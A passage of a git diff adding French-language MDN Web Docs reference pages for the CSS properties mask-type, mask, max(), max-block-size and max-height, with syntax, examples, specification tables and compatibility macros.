+<h2 id="Exemples">Exemples</h2>
+
+<p>Prenons comme masque le rectangle suivant :</p>
+
+<pre class="brush: html">&lt;rect x="10" y="10" width="80" height="80"
+    fill="red" fill-opacity="0.7" /&gt;</pre>
+
+<div class="hidden">
+<h3 id="mask">mask</h3>
+
+<pre class="brush: html">&lt;svg width="100" height="100"&gt;
+  &lt;rect x="10" y="10" width="80" height="80"
+      fill="red" fill-opacity="0.7"/&gt;
+&lt;/svg&gt;</pre>
+</div>
+
+<div>Le voici : {{EmbedLiveSample('mask', '100%', '100')}}</div>
+
+<p>Appliquons le à cette boîte :</p>
+
+<div class="hidden">
+<h3 id="box">box</h3>
+
+<pre class="brush: css">.redsquare {
+  height: 100px;
+  width: 100px;
+  background-color: rgb(128, 128, 128);
+  border: solid 1px black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="redsquare"&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<div>{{EmbedLiveSample('box', '100%', '120')}}</div>
+
+<p>Voici le résultat, si votre navigateur prend en charge cette propriété, avec les deux valeurs de <code>mask-type</code> appliquée à l'élément {{SVGElement("mask")}}, on aura deux carrés différents :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>mask-type: alpha;</code></td>
+   <td><code>mask-type: luminance;</code></td>
+  </tr>
+  <tr>
+   <td>
+    <div class="hidden" id="maskalpha">
+    <pre class="brush: html">
+&lt;div class="redsquare"&gt;&lt;/div&gt;
+&lt;svg version="1.1" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"&gt;
+  &lt;defs&gt;
+    &lt;mask id="m" maskContentUnits="objectBoundingBox"
+        style="mask-type:alpha"&gt;
+      &lt;rect x=".1" y=".1" width=".8" height=".8"
+          fill="red" fill-opacity="0.7"/&gt;
+    &lt;/mask&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+</pre>
+
+    <pre class="brush: css">
+.redsquare {
+  height: 100px;
+  width: 100px;
+  background-color: rgb(128, 128, 128);
+  border: solid 1px black;
+  mask: url("#m");
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('maskalpha', '100%', '102')}}</div>
+   </td>
+   <td>
+    <div class="hidden" id="maskluminance">
+    <pre class="brush: html">
+&lt;div class="redsquare"&gt;&lt;/div&gt;
+&lt;svg version="1.1" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"&gt;
+  &lt;defs&gt;
+    &lt;mask id="m" maskContentUnits="objectBoundingBox"
+        style="mask-type:luminance"&gt;
+      &lt;rect x=".1" y=".1" width=".8" height=".8"
+          fill="red" fill-opacity="0.7"/&gt;
+    &lt;/mask&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+</pre>
+
+    <pre class="brush: css">
+.redsquare {
+  height: 100px;
+  width: 100px;
+  background-color: rgb(128, 128, 128);
+  border: solid 1px black;
+  mask: url("#m");
+}
+</pre>
+    </div>
+
+    <div>{{EmbedLiveSample('maskluminance', '100%', '102')}}</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Masks', '#the-mask-type', 'mask-type')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("mask")}}</li>
+ <li>{{cssxref("mask-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/mask/index.html b/files/fr/web/css/mask/index.html
new file mode 100644
index 0000000000..4a69a1adf8
--- /dev/null
+++ b/files/fr/web/css/mask/index.html
@@ -0,0 +1,128 @@
+---
+title: mask
+slug: Web/CSS/mask
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - SVG
+translation_of: Web/CSS/mask
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mask</code></strong> permet de masquer un élément partiellement ou complètement en utilisant un masque apposé sur l'image ou en rognant l'image aux positions données. Cette propriété est une propriété raccourcie pour les propriétés {{cssxref("mask-image")}}, {{cssxref("mask-mode")}}, {{cssxref("mask-repeat")}}, {{cssxref("mask-position")}}, {{cssxref("mask-clip")}}, {{cssxref("mask-origin")}}, {{cssxref("mask-size")}} et {{cssxref("mask-composite ")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété raccourcie réinitialise également {{cssxref("mask-border")}} avec sa valeur initiale. Il est donc recommandé d'utiliser la propriété raccourcie à travers les feuilles de style plutôt que les propriétés raccourcies (sauf en cas d'héritage complexe).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-number">/* Valeurs avec un mot-clé */
+mask: none;
+
+/* Valeurs d'image */
+/* Type &lt;image&gt;    */
+mask: url(mask.png);                       /* Image matricielle utilisée comme masque */
+mask: url(masks.svg#star);                 /* Élément d'un SVG utilisé comme masque */
+
+/* Valeurs combinées */
+mask: url(masks.svg#star) luminance;       /* Élément d'un SVG utilisé comme masque de luminance */
+mask: url(masks.svg#star) 40px 20px;       /* Élément d'un SVG utilisé comme masque positioné à 40px du haut et 20px de la gauche */
+mask: url(masks.svg#star) 0 0/50px 50px;   /* Élément d'un SVG utilisé comme masque avec une hauteur et largeur de 50px */
+mask: url(masks.svg#star) repeat-x;        /* Élément d'un SVG utilisé comme masque répété horizontalement */
+mask: url(masks.svg#star) stroke-box;      /* Élément d'un SVG utilisé comme masque étendu à la boîte contenu dans le contour */
+mask: url(masks.svg#star) exclude;         /* Élément d'un SVG utilisé comme masque et combiné avec l'arrière-plan pour les parties qui ne se chevauchent pas */
+
+/* Valeurs globales */
+mask: inherit;
+mask: initial;
+mask: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;mask-reference&gt;</code></dt>
+ <dd>Cette valeur permet de définir l'image source pour le masque. Voir {{cssxref("mask-image")}}.</dd>
+ <dt><code>&lt;masking-mode&gt;</code></dt>
+ <dd>Cette valeur définit le mode du masque. Voir {{cssxref("mask-mode")}}.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Cette valeur définit la position de l'image du masque. Voir {{cssxref("mask-position")}}.</dd>
+ <dt><code>&lt;bg-size&gt;</code></dt>
+ <dd>Cette valeur définit la taille de l'image du masque. Voir {{cssxref("mask-size")}}.</dd>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>Cette valeur définit le mode de répétition de l'image du masque. Voir {{cssxref("mask-repeat")}}.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd>Si une seule valeur <code>&lt;geometry-box&gt;</code> est fournie, elle définira les valeurs de {{cssxref("mask-origin")}} et {{cssxref("mask-clip")}}. Si deux valeurs sont fournies, la première sera utilisée pour définir {{cssxref("mask-origin")}} et la deuxième pour définir {{cssxref("mask-clip")}}.</dd>
+ <dt><code>&lt;geometry-box&gt; | no-clip</code></dt>
+ <dd>Cette valeur définit la zone qui est impactée par l'image du masque. Voir {{cssxref("mask-clip")}}.</dd>
+ <dt><code>&lt;compositing-operator&gt;</code></dt>
+ <dd>Cette valeur définit l'opération de composition qui est utilisée par rapport à la couche de masque actuelle. Voir {{cssxref("mask-composite")}}.</dd>
+ <dt>
+ <h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Il y avait une table servie sous un arbre devant
+ la maison, et le Lièvre y prenait le thé avec le Chapelier. Un Loir
+ profondément endormi était assis entre les deux autres qui s’en
+ servaient comme d’un coussin, le coude appuyé sur lui et causant
+ par-dessus sa tête.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple{
+  mask:url(https://developer.cdn.mozilla.net/static/img/favicon72.png) luminance 20%;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask", 'mask')}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Extension aux éléments HTML. La syntaxe est étendue et la propriété devient une propriété raccourcie pour les nouvelles propriétés <code>mask-*</code> définies avec cette spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("clip-path")}}, {{cssxref("filter")}}</li>
+ <li><a href="https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/">Les formes CSS : "clipping" et "masking" – comment les utiliser (en anglais)</a></li>
+ <li><a href="/fr/docs/Applying_SVG_effects_to_HTML_content">Appliquer des effets SVG à du contenu HTML</a></li>
+ <li><a href="/fr/docs/Web/SVG">SVG</a></li>
+</ul>
diff --git a/files/fr/web/css/max()/index.html b/files/fr/web/css/max()/index.html
new file mode 100644
index 0000000000..88016899ac
--- /dev/null
+++ b/files/fr/web/css/max()/index.html
@@ -0,0 +1,120 @@
+---
+title: max()
+slug: Web/CSS/max()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/max()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>max</strong></code><strong><code>()</code></strong> permet d'obtenir la plus grande valeurs parmi une liste d'expressions, séparées par des virgules afin d'utiliser ce maximum comme valeur d'une propriété CSS. La fonction <code>max()</code> peut être utilisée à tout endroit où une valeur de type {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, {{cssxref("&lt;number&gt;")}} ou {{cssxref("&lt;integer&gt;")}} est autorisée.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* property: max(expression<code class="css plain"> [, expression]</code>) */
+width: max(10vw, 4em, 80px);
+</pre>
+
+<p>Dans l'exemple précédent, la largeur mesurera au moins 80 pixels de large, sera plus large si la zone d'affichage (<em>viewport</em>) est plus large que 800 pixels ou si un <code>em</code> vaut plus que 20 pixels de large. Autrement dit, la valeur fournie <code>max()</code> est calculée comme un seuil et généralement, on aura un seuil minimal dans une expression <code>max()</code> (ce qui peut paraître contradictoire à juste titre).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La fonction <code>max()</code> prend comme arguments une ou plusieurs expressions, séparées par des virgules. Elle renvoie comme valeur le plus grand résultat des évaluations des expressions passées en arguments.</p>
+
+<p>Les expressions passées à cette fonction peuvent utiliser des fonctions mathématiques (cf. {{CSSxRef("calc", "calc()")}}), des valeurs littérales ou d'autres expressions (ex. avec <code><a href="/fr/docs/Web/CSS/attr">attr()</a></code>). Il est nécessaire que ces expressions fournissent une valeur d'un type valide (ex. {{cssxref("&lt;length&gt;")}}).</p>
+
+<p>Il est tout à fait possible de combiner des valeurs avec différentes unités dans les expressions passées en arguments. On peut également utiliser des parenthèses à l'intérieur des expressions afin de s'assurer de la précédence des opérateurs.</p>
+
+<h3 id="Notes">Notes</h3>
+
+<ul>
+ <li>Les expressions mathématiques qui utilisent des pourcentages pour les hauteurs et largeurs de colonnes de tableaux, de groupes de colonnes de tableaux, pour les lignes de tableaux, pour les groupes de lignes de tableaux et pour les cellules de tableau seront considérées comme <code>auto</code> si le tableau suit une disposition automatique ou fixée.</li>
+ <li>Il est possible d'imbriquer des fonctions <code>max()</code> et <code>min()</code> dans les expressions et d'utiliser les opérateurs mathématiques d'addition, soustraction, multiplication, division sans nécessairement recourir à <code>calc()</code>.</li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Garantir_une_taille_minimale_pour_des_images">Garantir une taille minimale pour des images</h3>
+
+<p><code>max()</code> permet de simplifier la définition d'une taille <strong>minimale</strong>, par exemple la largeur d'une image. Dans cet exemple, la règle CSS permet d'obtenir un logo qui s'étire sur la moitié de la fenêtre pour les fenêtres les plus larges, sans dépasser 300 pixels et sans avoir à utiliser des requêtes média.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.logo {
+  width: max(50vw, 300px);
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;img src="https://developer.mozilla.org/static/img/web-docs-sprite.svg" alt="MDN Web Docs" class="logo"&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Garantir_une_taille_minimale_pour_des_images', 'auto', '60')}}</p>
+
+<p>Avec cet exemple, le logo sera au moins large de 300 pixels et sera plus large afin d'occuper la moitié de la zone d'affichage si le <em>viewport</em> devient plus large que 600 pixels.</p>
+
+<h3 id="Fixer_une_taille_minimale_pour_une_police">Fixer une taille minimale pour une police</h3>
+
+<p>On peut également utiliser <code>max()</code> pour définir la taille d'une police et fixer un seuil minimal pour garantir une certaine lisibilité.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">h1 {
+  font-size: 2rem;
+}
+h1.responsive {
+  font-size: max(4vw, 2em, 2rem);
+}
+</pre>
+
+<p>Avec ces règles, la valeur pour <code>font-size</code> vaudra au moins <code>2rems</code> ou deux fois la taille par défaut de la police sur la page.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ce texte est toujours lisible mais sa taille ne change pas.&lt;/h1&gt;
+&lt;h1 class="responsive"&gt;Ce texte est toujours lisible et s'adapte dans une certaine mesure.&lt;/h1&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Fixer_une_taille_minimale_pour_une_police', '700', '300')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#calc-notation', 'max()')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.max")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("calc", "calc()")}}</li>
+ <li>{{CSSxRef("clamp", "clamp()")}}</li>
+ <li>{{CSSxRef("min", "min()")}}</li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Valeurs et unités en CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/max-block-size/index.html b/files/fr/web/css/max-block-size/index.html
new file mode 100644
index 0000000000..775b7f91ed
--- /dev/null
+++ b/files/fr/web/css/max-block-size/index.html
@@ -0,0 +1,140 @@
+---
+title: max-block-size
+slug: Web/CSS/max-block-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/max-block-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>max-block-size</code></strong> définit la taille maximale horizontale ou verticale d'un élément selon l'axe perpendiculaire (l'axe de bloc) au sens d'écriture indiqué par {{cssxref("writing-mode")}}. Elle correspond à la propriété {{cssxref("max-width")}} ou {{cssxref("max-height")}} selon la valeur utilisée pour {{cssxref("writing-mode")}}. Si le mode d'écriture est orienté verticalement, <code>max-block-size</code> fait référence à la hauteur maximale de l'élément, sinon elle fait référence à la largeur maximale de l'élément.</p>
+
+<p>La propriété {{cssxref("max-inline-size")}} peut être utilisée pour l'effet analogue selon l'axe en ligne (c'est-à-dire l'axe qui suit le sens d'écriture).</p>
+
+<p>Cette propriété est une propriété <em>logique</em> qui doit remplacer les propriétés <em>physiques</em> correspondantes (<code>max-height</code> ou <code>max-width</code>) si on souhaite que la disposition tienne compte du mode d'écriture de la page (que celui-ci soit horizontal ou vertical). Vous pouvez consulter <a href="/fr/docs/Web/CSS/writing-mode#Exemple">ces exemples</a> pour en savoir plus.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-block-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+max-block-size: 300px;
+max-block-size: 25em;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt; */
+max-block-size: 75%;
+
+/* Valeurs avec un mot-clé */
+max-block-size: none;
+max-block-size: max-content;
+max-block-size: min-content;
+max-block-size: fit-content;
+max-block-size: fill-available;
+
+/* Valeurs globales */
+max-block-size: inherit;
+max-block-size: initial;
+max-block-size: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>max-block-size</code> peut prendre les mêmes valeurs que les propriétés {{cssxref("max-width")}} ou {{cssxref("max-height")}}.</p>
+
+<p>{{page("/fr/docs/Web/CSS/max-width", "Valeurs")}}</p>
+
+<h3 id="Relation_avec_les_propriétés_physiques">Relation avec les propriétés physiques</h3>
+
+<p>La valeur de <code>writing-mode</code> détermine la propriété physique correspondant à <code>max-block-size</code> :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valeur pour <code>writing-mode</code></th>
+   <th scope="col">Propriété physique équivalente à <code>max-block-size</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>horizontal-tb</code>, <code>lr</code> {{deprecated_inline}}, <code>lr-tb</code> {{deprecated_inline}}, <code>rl</code> {{deprecated_inline}}, <code>rb</code> {{deprecated_inline}}, <code>rb-rl</code> {{deprecated_inline}}</td>
+   <td>{{cssxref("max-height")}}</td>
+  </tr>
+  <tr>
+   <td><code>vertical-rl</code>, <code>vertical-lr</code>, <code>sideways-rl</code> {{experimental_inline}}, <code>sideways-lr</code> {{experimental_inline}}, <code>tb</code> {{deprecated_inline}}, <code>tb-rl</code> {{deprecated_inline}}</td>
+   <td>{{cssxref("max-width")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> Les valeurs <code>sideways-lr</code> et <code>sideways-rl</code> pour <code>writing-mode</code> ont été retirées de la spécification CSS Writing Modes Level 3 en fin de processus et pourraient être réintroduites dans la spécification Level 4.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Les modes d'écriture <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>rb</code> et <code>rb-tl</code> ne sont plus autorisés pour les contextes {{Glossary("HTML")}} et peuvent uniquement être utilisés dans des contextes {{Glossary("SVG")}} 1.x.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 100%;
+  max-block-size: 200px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-max-block-size", "max-block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.max-block-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("max-width")}} et {{cssxref("max-height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/max-height/index.html b/files/fr/web/css/max-height/index.html
new file mode 100644
index 0000000000..9b94e51229
--- /dev/null
+++ b/files/fr/web/css/max-height/index.html
@@ -0,0 +1,146 @@
+---
+title: max-height
+slug: Web/CSS/max-height
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/max-height
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>max-height</code></strong> est utilisée pour définir la hauteur maximale d'un élément donné. Elle empêche la valeur de la propriété {{cssxref("height")}} de devenir supérieure à la valeur spécifiée par <code>max-height</code> (autrement dit, <code>max-height</code> est une borne supérieure pour <code>height</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-height.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur de <code>max-height</code> surcharge la valeur de {{cssxref("height")}} mais elle est surchargée par {{cssxref("min-height")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+max-height: 3.5em;
+
+/* Valeurs relatives */
+/* Type &lt;percentage&gt; */
+max-height: 10%;
+
+/* Valeurs avec un mot-clé */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* Valeurs globales */
+max-height: inherit;
+max-height: initial;
+max-height: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La hauteur maximale fixée, exprimée comme une valeur absolue. Voir {{cssxref("&lt;length&gt;")}} pour les unités qu'on peut utiliser.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>La hauteur maximale fixée, exprimée comme un fraction de la hauteur du bloc englobant. Voir la page {{cssxref("&lt;percentage&gt;")}} sur les valeurs possibles avec ce type.</dd>
+ <dt><code>none</code></dt>
+ <dd>Il n'y pas de limite à la hauteur que peut prendre la boîte.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La hauteur intrinsèque préférée.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La hauteur intrinsèque minimale.</dd>
+ <dt><code>fill-available</code>{{experimental_inline}}</dt>
+ <dd>La hauteur du bloc englobant moins la marge verticale, la bordure et le remplissage (<em>padding</em>). Certains navigateurs implémentent cette valeur avec un ancien nom : <code>available</code>.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>Un synonyme pour <code>max-content</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt; Lorem ipsum tralala sit amet, consectetur adipisicing
+  &lt;p&gt;
+     Ut enim ad minim veniam, quis nostrud exercitation
+     ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  height: 250px;
+  border: solid 1px red;
+}
+
+p {
+  max-height: 30%;
+  border: solid 1px blue;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Veiller à s'assurer que les éléments ciblés avec une règle utilisant <code>max-height</code> ne sont pas tronqués ou ne masquent pas d'autre contenu sur la page lorsqu'on zoome pour augmenter la taille du texte.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener"><em>Understanding Success Criterion 1.4.4, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#height-height-keywords', 'max-height')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Ajout des mots-clés <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> et <code>fill-available</code>. Les deux brouillons de spécification CSS3 Box et CSS3 Writing Modes définissaient ces mots-clés mais ces spécifications ont été remplacées par celles-ci.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'max-height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>max-height</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.max-height")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte" title="en/CSS/box_model">Le modèle de boîtes</a></li>
+</ul>
diff --git a/files/fr/web/css/max-inline-size/index.html b/files/fr/web/css/max-inline-size/index.html
new file mode 100644
index 0000000000..c8fac84ce1
--- /dev/null
+++ b/files/fr/web/css/max-inline-size/index.html
@@ -0,0 +1,103 @@
+---
+title: max-inline-size
+slug: Web/CSS/max-inline-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/max-inline-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
